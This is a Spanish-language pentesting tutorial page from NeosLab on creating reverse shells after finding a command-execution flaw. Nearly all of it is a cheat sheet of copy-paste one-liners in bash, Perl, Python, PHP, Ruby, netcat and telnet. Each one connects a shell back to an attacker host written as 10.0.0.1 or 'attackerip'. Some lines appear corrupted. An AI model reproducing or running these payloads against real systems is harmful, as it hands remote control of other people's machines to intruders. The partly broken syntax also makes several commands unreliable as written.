NeosLab.com
Explotación

Cómo Crear un Reverse Shell

Si tiene la suerte de encontrar una vulnerabilidad de ejecución de comando durante una prueba de penetración, probablemente muy pronto querrá un intérprete de comandos interactivo.

Si no es posible agregar una nueva cuenta /SSH key/.rhosts y simplemente iniciar sesión, es probable que su siguiente paso sea crear un shell inverso o vincular un shell a un puerto TCP. Este documento trata de la primera.

Sus opciones para crear un shell inverso están limitadas por los lenguajes de scripting instalados en el sistema de destino, aunque también podría cargar un programa binario si está adecuadamente preparado.

Los ejemplos mostrados están diseñados para sistemas tipo Unix. Algunos de los ejemplos a continuación también deberían funcionar en Windows si usa el sustituto “/bin/sh -i” con “cmd.exe”

Cada uno de los métodos siguientes tiene como objetivo ser un trazador de líneas que puede copiar/pegar. Como tales, son líneas bastante cortas, pero no muy legibles.


BASH

Algunas versiones de bash pueden enviarte un shell inverso (esto fue probado en Ubuntu 10.10).

$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

O

$ exec /bin/bash 0&0 2>&0

O

$ 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

O

$ exec 5<>/dev/tcp/attackerip/4444
$ cat <&5 | while read line; do $line 2>&5 >&5; done # or:
$ while read line 0<&5; do $line 2>&5 >&5; done
PERL

Aquí hay una versión corta y sin funciones que depende de /bin/sh:

$ perl -e 'use Socket;$i="10.0.0.1"; $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl inverso que no depende de /bin/sh:

$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&>fdopen($c,r);
$~-&>fdopen($c,w);system$_ while<>;'

Si el sistema de destino está ejecutando Windows, use el siguiente one-liner:

$ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&>fdopen($c,r);
$~-&>fdopen($c,w);system$_ while<>;'
PYTHON

Esto fue probado bajo Linux/Python 2.7

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP

Este código supone que la conexión TCP usa el descriptor 3. Esto funcionó en el sistema más probado. Si no funciona, prueba 4, 5, 6…

$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
RUBY

Versión corta que depende de /bin/sh:

$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Más shell inverso de Ruby que no depende de /bin/sh:

$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Si el sistema de destino está ejecutando Windows, use el siguiente one-liner:

$ ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NETCAT

Netcat rara vez está presente en los sistemas de producción e, incluso si es que hay varias versiones de Netcat, algunas de las cuales no admiten la opción -e.

$ nc -e /bin/sh 10.0.0.1 1234

Si tiene instalada la versión incorrecta de Netcat, Jeff Price señala que aún podría recuperar su shell inverso así:

$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 &>/tmp/f

Otros posibles shell inversos de Netcat, según la versión de Netcat y los indicadores de compilación:

$ nc -c /bin/sh attackerip 4444

O

$ /bin/sh | nc attackerip 4444

O

$ rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
TELNET

Por supuesto, también puede usar Telnet como una alternativa para Netcat:

$ rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

O

# Remember to listen on your machine also on port 4445/tcp
$ telnet attackerip 4444 | /bin/bash | telnet attackerip 4445

Artículos Relacionados

Tutorial de Inyección SQL para Principiantes

neoslab

Cómo Evitar ser Detectado por Antivirus con Payloads Encriptados usando Venom

neoslab

Como Usar SQLmap para Principiantes

neoslab

Deja un comentario

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link